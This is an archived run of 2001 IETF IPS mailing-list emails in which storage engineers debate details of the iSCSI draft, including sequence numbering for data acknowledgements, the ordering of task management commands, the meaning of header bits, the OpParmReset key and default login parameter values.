Received: by esply02.cnt.com with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Sep 2001 17:06:32 -0500 Message-ID: <3C7122FAF06DD5118ED6005004733648263119@esply01.cnt.com> From: Michael Schoberg To: "IPS Reflector (E-mail)" Subject: RE: iscsi : Data ACKs already been included into draft (?) Date: Wed, 26 Sep 2001 17:03:28 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Missed the reflector the first time so I'll try this one again... I'm still in favor for moving R2T and Data-IN into the StatSN realm (remove DataSN). Looking at it, I wonder why there was this split to begin with. If the initiator is able to request retransmission of any/all T->I PDUs, it stands to reason that there should never be gaps in the Data-IN/R2T stream (unless the target is broken). Separating Data-IN & R2T ACKs from the normal StatSN stream means requiring an equivalent protection mechanism be created. Bottom line is that will add complexity to iSCSI. If Data-IN/R2T were moved in StatSN, there's still the problem of the requirement of optional support. Lightweight systems may not be able to buffer much data to allow for long T->I message queues and the current draft lists SNACK support as optional (for this reason?) To support this, we may need to have different flavors of R2T & Data-IN: one with StatSN and one without. I'm kind of surprised there hasn't been much discussion along this line. There seems to be two extremes being expressed (in-favor of a Data-ACK even if it involves writing new message engines -OR- in-favor or completely removing Data-ACK to avoid overhead). It seems like optionally moving Data-IN/R2T into the StatSN queue would allow for both without adding much complexity to the code. : -----Original Message----- : From: Santosh Rao [mailto:santoshr@cup.hp.com] : Sent: Wednesday, September 26, 2001 2:21 PM : To: ips@ece.cmu.edu : Cc: Black_David@emc.com : Subject: iscsi : Data ACKs already been included into draft (?) : : : Julian & All, : : It looks like the Data ACK scheme you proposed has already : been included : into the Rev 7.97 draft !(?) I don't recollect the group : having reached : consensus on re-inclusion of this feature, nor consensus on : the mechanism : used for the data ack. Given this, why is the change already : present in : the draft ? : : I would like to request that any changes to the draft be : first posted to : the reflector for review and only upon its acceptance on the reflector : should it be included in the draft. Incorporating changes : into the draft : prior to their acceptance on the reflector is only going to : slow down the : stabilization of the draft further. : : At this late stage in the draft, every sentence modified must : be subject : to review prior to inclusion in the draft. : : Thanks, : Santosh : : -- : ################################# : Santosh Rao : Software Design Engineer, : HP, Cupertino. : email : santoshr@cup.hp.com : Phone : 408-447-3751 : ################################# : From owner-ips@ece.cmu.edu Wed Sep 26 19:55:08 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA01181 for ; Wed, 26 Sep 2001 19:55:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QNAqO10335 for ips-outgoing; Wed, 26 Sep 2001 19:10:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.us.dg.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QNApP10331 for ; Wed, 26 Sep 2001 19:10:51 -0400 (EDT) Received: by mxic2.us.dg.com with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Sep 2001 19:08:00 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD7B3@CORPMX14> From: Black_David@emc.com To: tdineen@redswitch.com, ips@ece.cmu.edu Subject: RE: iSCSI 07-95 Comment 3 -Task Management Date: Wed, 26 Sep 2001 19:03:14 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk An implementation can choose when in time it chooses to execute the task management command, but the effects visible to the Initiator must be as if it was executed in CmdSN order For example, if an Abort Task passes the task that it is supposed to abort on a different connection and the Abort Task has a higher CmdSN, the Target may immediately respond to the Abort Task, but in that case, it MUST NOT execute the "aborted" task when it arrives. I agree that this could use some further explanation in the draft. --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: Thomas Dineen [mailto:tdineen@redswitch.com] > Sent: Tuesday, September 25, 2001 7:58 PM > To: ips@ece.cmu.edu; Thomas Dineen > Subject: iSCSI 07-95 Comment 3 > > > Gentle People: > > Section 3.1.5 on P64 > > "Task management commands must be executed > as if all the commands having a CmdSN lower or equal to the task > management CmdSN have been received by the target (i.e., have to be > executed as if received for ordered delivery even when marked for > immediate delivery)." > > After reading this paragraph over several times I am still having > trouble > understanding what it means. Do you mean execute the command > immediately > while ignoring the normal order or execute the command in the normal > commandSN order? > > Thomas Dineen > From owner-ips@ece.cmu.edu Wed Sep 26 19:57:36 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA01197 for ; Wed, 26 Sep 2001 19:57:35 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QN7AZ10117 for ips-outgoing; Wed, 26 Sep 2001 19:07:10 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QN79P10111 for ; Wed, 26 Sep 2001 19:07:09 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Sep 2001 19:07:03 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD7B2@CORPMX14> From: Black_David@emc.com To: Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu Subject: iscsi : default iscsi mode page settings - Consensus call Date: Wed, 26 Sep 2001 18:59:32 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk My reading of this mail thread is that there is rough consensus to negotiate/set FirstBurstSize and MaxBurstSize via iSCSI login/text keys and only via such keys. If some aspect of the SCSI protocol requires that they be readable via a mode page, the mode page values will be read-only. Julian's objection to this is noted - anyone else who objects to this should post to the list. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Wed Sep 26 19:59:57 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA01216 for ; Wed, 26 Sep 2001 19:59:57 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QN1sk09800 for ips-outgoing; Wed, 26 Sep 2001 19:01:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.us.dg.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QN1rP09796 for ; Wed, 26 Sep 2001 19:01:53 -0400 (EDT) Received: by mxic2.us.dg.com with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Sep 2001 18:59:02 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD7B1@CORPMX14> From: Black_David@emc.com To: tdineen@redswitch.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI 07-95 Comment 1 Date: Wed, 26 Sep 2001 18:54:17 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Like all other bits, the X bit is active when set to '1'. --David > -----Original Message----- > From: Thomas Dineen [mailto:tdineen@redswitch.com] > Sent: Wednesday, September 26, 2001 5:35 PM > To: Sanjeev Bhagat (TRIPACE/Zoetermeer) > Cc: ips@ece.cmu.edu; Thomas Dineen > Subject: Re: iSCSI 07-95 Comment 1 > > > Sanjeev: > > I disagree! > > Maybe I should have provided a few more words in my > original comment. > > For example the X Bit: Dose a one state mean Retry? Dose a zero mean > Restart? > > We need to specify what happens when the bit is one and what if > anything happens > when the bit is zero. > > These details are specified for other variables in the draft. > > Thomas Dineen > > > "Sanjeev Bhagat (TRIPACE/Zoetermeer)" wrote: > > > > Gentleman :), > > > > The PDU described is a data structure and not a hardware > signal on a bus. So > > it is not necessary to define it as active or negative. > > > > Am I wrong?? > > > > Sanjeev > > > > -----Original Message----- > > From: Thomas Dineen [mailto:tdineen@redswitch.com] > > Sent: Wednesday, September 26, 2001 3:15 AM > > To: ips@ece.cmu.edu; Thomas Dineen > > Subject: iSCSI 07-95 Comment 1 > > > > GentlePeople: > > > > "3.2.1.1 X > > The X bit is used as a Retry/Restart indicator for request > PDUs (PDUs > > from initiator to target). This bit is always 1 for response PDUs > > (PDUs from target to initiator)." > > > > "3.2.1.2 I > > The I bit is used as immediate delivery marker for request > PDUs (PDUs > > from initiator to target). This bit is always 1 for response PDUs > > (PDUs from target to initiator)." > > > > - Reading the above paragraphs I do not get a sence of whether the > > X and I bits are active for a one or zero state. Please specify the > > logical function of both the X and I bits for both the one and zero > > states. > > > > Thomas Dineen > From owner-ips@ece.cmu.edu Wed Sep 26 22:13:06 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA03448 for ; Wed, 26 Sep 2001 22:13:06 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8R1K2g17300 for ips-outgoing; Wed, 26 Sep 2001 21:20:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QNrJP12680 for ; Wed, 26 Sep 2001 19:53:20 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id QAA24896; Wed, 26 Sep 2001 16:53:06 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Sep 2001 16:53:05 -0700 Message-ID: From: Robert Snively To: "'Black_David@emc.com'" , tdineen@redswitch.com, ips@ece.cmu.edu Subject: RE: iSCSI 07-95 Comment 3 -Task Management Date: Wed, 26 Sep 2001 16:53:04 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk David, These are restrictions that you have placed on iSCSI that are beyond those of SCSI. Bob > -----Original Message----- > From: Black_David@emc.com [mailto:Black_David@emc.com] > Sent: Wednesday, September 26, 2001 4:03 PM > To: tdineen@redswitch.com; ips@ece.cmu.edu > Subject: RE: iSCSI 07-95 Comment 3 -Task Management > > > An implementation can choose when in time it chooses to > execute the task management command, but the effects visible to > the Initiator must be as if it was executed in CmdSN order > For example, if an Abort Task passes the task that it is > supposed to abort on a different connection and the Abort Task > has a higher CmdSN, the Target may immediately respond to the > Abort Task, but in that case, it MUST NOT execute the > "aborted" task when it arrives. I agree that this could > use some further explanation in the draft. > > --David > > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > > > > -----Original Message----- > > From: Thomas Dineen [mailto:tdineen@redswitch.com] > > Sent: Tuesday, September 25, 2001 7:58 PM > > To: ips@ece.cmu.edu; Thomas Dineen > > Subject: iSCSI 07-95 Comment 3 > > > > > > Gentle People: > > > > Section 3.1.5 on P64 > > > > "Task management commands must be executed > > as if all the commands having a CmdSN lower or equal to the task > > management CmdSN have been received by the target (i.e., have to be > > executed as if received for ordered delivery even when marked for > > immediate delivery)." > > > > After reading this paragraph over several times I am still having > > trouble > > understanding what it means. Do you mean execute the command > > immediately > > while ignoring the normal order or execute the command in the normal > > commandSN order? > > > > Thomas Dineen > > > From owner-ips@ece.cmu.edu Wed Sep 26 22:13:07 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA03459 for ; Wed, 26 Sep 2001 22:13:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8R1KDx17318 for ips-outgoing; Wed, 26 Sep 2001 21:20:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QNwqP13003 for ; Wed, 26 Sep 2001 19:58:52 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id QAA25365; Wed, 26 Sep 2001 16:58:37 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Sep 2001 16:58:36 -0700 Message-ID: From: Robert Snively To: "'Black_David@emc.com'" , tdineen@redswitch.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI 07-95 Comment 1 Date: Wed, 26 Sep 2001 16:58:35 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk IEEE and ANSI have discovered that such misunderstandings and misinterpretations are so common that their convention is to explicitly define the behavior when a bit is "1" and when a bit is "0". The classics are bits with a double negative, like "disable checking". I would recommend we consider following the same conventions, even if they are not explicitly required by IETF conventions. Bob > -----Original Message----- > From: Black_David@emc.com [mailto:Black_David@emc.com] > Sent: Wednesday, September 26, 2001 3:54 PM > To: tdineen@redswitch.com > Cc: ips@ece.cmu.edu > Subject: RE: iSCSI 07-95 Comment 1 > > > Like all other bits, the X bit is active when set to '1'. --David > > > -----Original Message----- > > From: Thomas Dineen [mailto:tdineen@redswitch.com] > > Sent: Wednesday, September 26, 2001 5:35 PM > > To: Sanjeev Bhagat (TRIPACE/Zoetermeer) > > Cc: ips@ece.cmu.edu; Thomas Dineen > > Subject: Re: iSCSI 07-95 Comment 1 > > > > > > Sanjeev: > > > > I disagree! > > > > Maybe I should have provided a few more words in my > > original comment. > > > > For example the X Bit: Dose a one state mean Retry? Dose > a zero mean > > Restart? > > > > We need to specify what happens when the bit is one and what if > > anything happens > > when the bit is zero. > > > > These details are specified for other variables in the draft. > > > > Thomas Dineen > > > > > > "Sanjeev Bhagat (TRIPACE/Zoetermeer)" wrote: > > > > > > Gentleman :), > > > > > > The PDU described is a data structure and not a hardware > > signal on a bus. So > > > it is not necessary to define it as active or negative. > > > > > > Am I wrong?? > > > > > > Sanjeev > > > > > > -----Original Message----- > > > From: Thomas Dineen [mailto:tdineen@redswitch.com] > > > Sent: Wednesday, September 26, 2001 3:15 AM > > > To: ips@ece.cmu.edu; Thomas Dineen > > > Subject: iSCSI 07-95 Comment 1 > > > > > > GentlePeople: > > > > > > "3.2.1.1 X > > > The X bit is used as a Retry/Restart indicator for request > > PDUs (PDUs > > > from initiator to target). This bit is always 1 for response PDUs > > > (PDUs from target to initiator)." > > > > > > "3.2.1.2 I > > > The I bit is used as immediate delivery marker for request > > PDUs (PDUs > > > from initiator to target). This bit is always 1 for response PDUs > > > (PDUs from target to initiator)." > > > > > > - Reading the above paragraphs I do not get a sence of whether the > > > X and I bits are active for a one or zero state. Please > specify the > > > logical function of both the X and I bits for both the > one and zero > > > states. > > > > > > Thomas Dineen > > > From owner-ips@ece.cmu.edu Wed Sep 26 22:14:13 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA03476 for ; Wed, 26 Sep 2001 22:14:13 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8R1F4m17046 for ips-outgoing; Wed, 26 Sep 2001 21:15:04 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8R1ErP17032 for ; Wed, 26 Sep 2001 21:14:53 -0400 (EDT) Received: from core.rose.hp.com (unknown [15.43.208.100]) by atlrel7.hp.com (Postfix) with ESMTP id 1B9291F508 for ; Wed, 26 Sep 2001 21:12:53 -0400 (EDT) Received: from rose.hp.com (hpsil34.rose.hp.com [15.43.211.225]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id SAA03198 for ; Wed, 26 Sep 2001 18:16:08 -0700 (PDT) Message-Id: <200109270116.SAA03198@core.rose.hp.com> Date: Wed, 26 Sep 2001 18:26:16 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com Organization: Hewlett-Packard, Roseville X-Mailer: Mozilla 4.73 [en] (X11; U; HP-UX B.10.20 9000/715) X-Accept-Language: en MIME-Version: 1.0 To: ips Subject: Re: iscsi : OpParmreset References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, I assume you mean terminate/end a negotiation by "rest a negotiaion". If so, I can see two more ways to do the same - - aborting the task (changes from rev06 to rev07), - sending an empty text command with TTT=0xffffffff. Either should undo the results of the partial negotiation in FFP, as we described in "Negotiation failures" section. During the login, as Matthew pointed out, we don't seem to need OpParmReset either. Can you please confirm if you see the same choices? If so, I do not see the need for OpParmReset. Regards. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Julian Satran wrote: > > OpParmReset is the only way we have now to rest a negotiation in FFP > (public or vendor specific). > The restriction about R2T is related to a deadlock that can result when you > change from no to yes. > > Julo > > > "BURBRIDGE,MATTH > EW To: Julian Satran/Haifa/IBM@IBMIL, > (HP-UnitedKingdo ips@ece.cmu.edu > m,ex2)" cc: > ge@hp.com> > Sent by: > owner-ips@ece.cm > u.edu > > > 24-09-01 13:36 > Please respond > to > "BURBRIDGE,MATTH > EW > (HP-UnitedKingdo > m,ex2)" > > > > Is OpParmReset still needed now that there is no operational parameter > negotiation until after the security phase? Why would both sides > negoitiate > a set of parameters only for one side to reset. Surely if one side during > login is not happy then it should close the connection. In FFP, as there > is > no way to re-negotiate (after the OpParmReset) again if one side is not > happy then should it not close the connection and start a new one. > > Also if in FFP, if OpParmReset is sent then does it just reset those > parameters that can be negoiated during FFP and not those restricted to the > login phase? If so would it be easier to negotiate those parameters using > the explicit name (e.g. InitialR2T) and remove the restriction of (example) > "Once set to no, it can not be set back to yes" - as this is what using > OpParmReset permits. > > Matthew > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 21, 2001 4:34 PM > To: ips@ece.cmu.edu > Subject: Re: iscsi : OpParmreset > > Santosh, > > The main purpose of this key was to explicitly cancel the effects of a > running negotiation and restart anew. > As the draft stands now there is no much difference between the two - but > on basic principles the purposes are different (as you well stated). We > may change the value to be: > > OpParmReset= > > to accommodate both semantics. > > Julo > > Santosh Rao > > > hp.com> cc: > > Sent by: Subject: iscsi : OpParmreset > > owner-ips@ece. > > cmu.edu > > 20-09-01 22:19 > > Please respond > > to Santosh Rao > > All, > > Please refer the definition of OpParmReset login key. > > " 30 OpParmReset > > OpParmReset enables an Initiator or Target to request the operational > parameters to be reset to the values they had before the negotiation." > > I suggest that the definition be re-worded to state that the OpParmReset > enables an initiator or target to reset the operational parameters to > their DEFAULT VALUES. [instead of the current definition that states > that the parameters are reset to the values they had prior to the > current negotiation.] > > The current definition requires the initiator to maintain 2 sets of > operational parameter values, the current and the previous. In the case > where initiator is just booting up, if the target sets OpParmReset to > "yes", the initiator does not know what to set the op params to, since > it has lost its prior state information. > > Comments ? > > Thanks, > Santosh > > - santoshr.vcf From owner-ips@ece.cmu.edu Wed Sep 26 22:14:58 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA03489 for ; Wed, 26 Sep 2001 22:14:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8R1K6217307 for ips-outgoing; Wed, 26 Sep 2001 21:20:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QNsrP12776 for ; Wed, 26 Sep 2001 19:54:53 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id QAA25033; Wed, 26 Sep 2001 16:54:34 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Sep 2001 16:54:33 -0700 Message-ID: From: Robert Snively To: "'Black_David@emc.com'" , Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu Subject: RE: iscsi : default iscsi mode page settings - Consensus call Date: Wed, 26 Sep 2001 16:54:32 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk I object. SCSI knows how to handle these. These are properties of LUs and have nothing to do with the transport mechanism itself. Bob > -----Original Message----- > From: Black_David@emc.com [mailto:Black_David@emc.com] > Sent: Wednesday, September 26, 2001 4:00 PM > To: Julian_Satran@il.ibm.com > Cc: ips@ece.cmu.edu > Subject: iscsi : default iscsi mode page settings - Consensus call > > > My reading of this mail thread is that there is rough consensus > to negotiate/set FirstBurstSize and MaxBurstSize via iSCSI > login/text keys and only via such keys. If some aspect of the > SCSI protocol requires that they be readable via a mode page, > the mode page values will be read-only. Julian's objection to > this is noted - anyone else who objects to this should post to > the list. > > Thanks, > --David > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > > > From owner-ips@ece.cmu.edu Wed Sep 26 22:56:04 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA04800 for ; Wed, 26 Sep 2001 22:56:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8R2MTP20330 for ips-outgoing; Wed, 26 Sep 2001 22:22:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8R2MPP20320 for ; Wed, 26 Sep 2001 22:22:25 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel12.hp.com (Postfix) with ESMTP id DEDFB1F710 for ; Wed, 26 Sep 2001 19:22:19 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id TAA09024 for ; Wed, 26 Sep 2001 19:22:15 -0700 (PDT) Message-ID: <3BB28EE7.40BACA33@cup.hp.com> Date: Wed, 26 Sep 2001 19:28:55 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: iscsi : iscsi parameter default values References: <3BAF896B.B9313753@cup.hp.com> <3BB0C092.6D2B39F5@cup.hp.com> Content-Type: multipart/mixed; boundary="------------590DF03CAC9FE8B988BE06FA" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------590DF03CAC9FE8B988BE06FA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit All, With the issue of mode page vs. login keys having [almost] drawn to a close, I would like to raise the below issues again, on the subject of default values for login keys and other iscsi parameters : * In keeping with traditional use of scsi mode pages, iscsi should not specify any default settings for any mode pages that continue to exist for iscsi. "Default values" for mode pages are target specific and should not be bound to the protocol draft. * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 :-< This implies that targets must be always prepared to deal with out of order data and initiators must be prepared to deal with out of order data, unless the initiator performs a mode select to disable it. [which defeats all the previous advantages gained thru mandating use of login keys for other negotiations.]. A default, if it were to exist, should be 0. (in-order, by default). * Conservative specification of defaults for login keys along the following lines : MaxConnections = 1 FMarker = "no" InitialR2T = "yes" BidiInitialR2T = "yes" ImmediateData = "no" DataPDULength = 16 MaxOutstandingR2T = 1 DataPDUInOrder = "yes" ErrorRecoveryLevel = 0 SessionType = "normal" * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, is an EnableCRN bit required at the transport layer ? If the device server capability is to be negotiated , I suggest this bit be moved to a SCSI ULP Mode Page such as the "Control Mode Page", through a T10 change as a part of the SCSI changes being driven by iscsi. Comments ? Thanks, Santosh Santosh Rao wrote: > There are the separate issues of : > > * iscsi's specification of defaults for its mode pages which is not in line with mode page > usage. This impacts the target's ability to enforce values other than the protocol > specified default, if the initiator were to not use mode sense/select. > > * default settings for login keys. > > * Is there a need for the "LUN Control Mode Page" and whether "Enable CRN" should be in a > transport specific mode page ? > > which need to be driven to closure as well. > > Regards, > Santosh --------------590DF03CAC9FE8B988BE06FA Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------590DF03CAC9FE8B988BE06FA-- From owner-ips@ece.cmu.edu Wed Sep 26 22:56:08 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA04799 for ; Wed, 26 Sep 2001 22:56:02 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8R1uHS19001 for ips-outgoing; Wed, 26 Sep 2001 21:56:17 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8R1uGP18996 for ; Wed, 26 Sep 2001 21:56:16 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel12.hp.com (Postfix) with ESMTP id 8431D1F79F; Wed, 26 Sep 2001 18:56:10 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id SAA07494; Wed, 26 Sep 2001 18:56:05 -0700 (PDT) Message-ID: <3BB288C6.CE407C20@cup.hp.com> Date: Wed, 26 Sep 2001 19:02:46 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: "'Black_David@emc.com'" , ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings - Consensus call References: Content-Type: multipart/mixed; boundary="------------8EDA1EB4248577D9BE20B859" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------8EDA1EB4248577D9BE20B859 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit David, By specifying that these values be read-only in mode pages, we have retained some of the complexity that lies in having to go across layers to communicate the defaults to the scsi layer, or alternatively to have the target's iscsi layer snoop for such mode sense commands and respond to them. I would prefer to see iscsi declare these fields as reserved in the iscsi definition of the mode pages [like is done in SPI-4 for FirstBurstSize] so that this issue does not arise at all. Thanks, Santosh > > If some aspect of the > > SCSI protocol requires that they be readable via a mode page, > > the mode page values will be read-only. --------------8EDA1EB4248577D9BE20B859 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------8EDA1EB4248577D9BE20B859-- From owner-ips@ece.cmu.edu Wed Sep 26 23:55:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA05700 for ; Wed, 26 Sep 2001 23:55:11 -0400 (EDT) 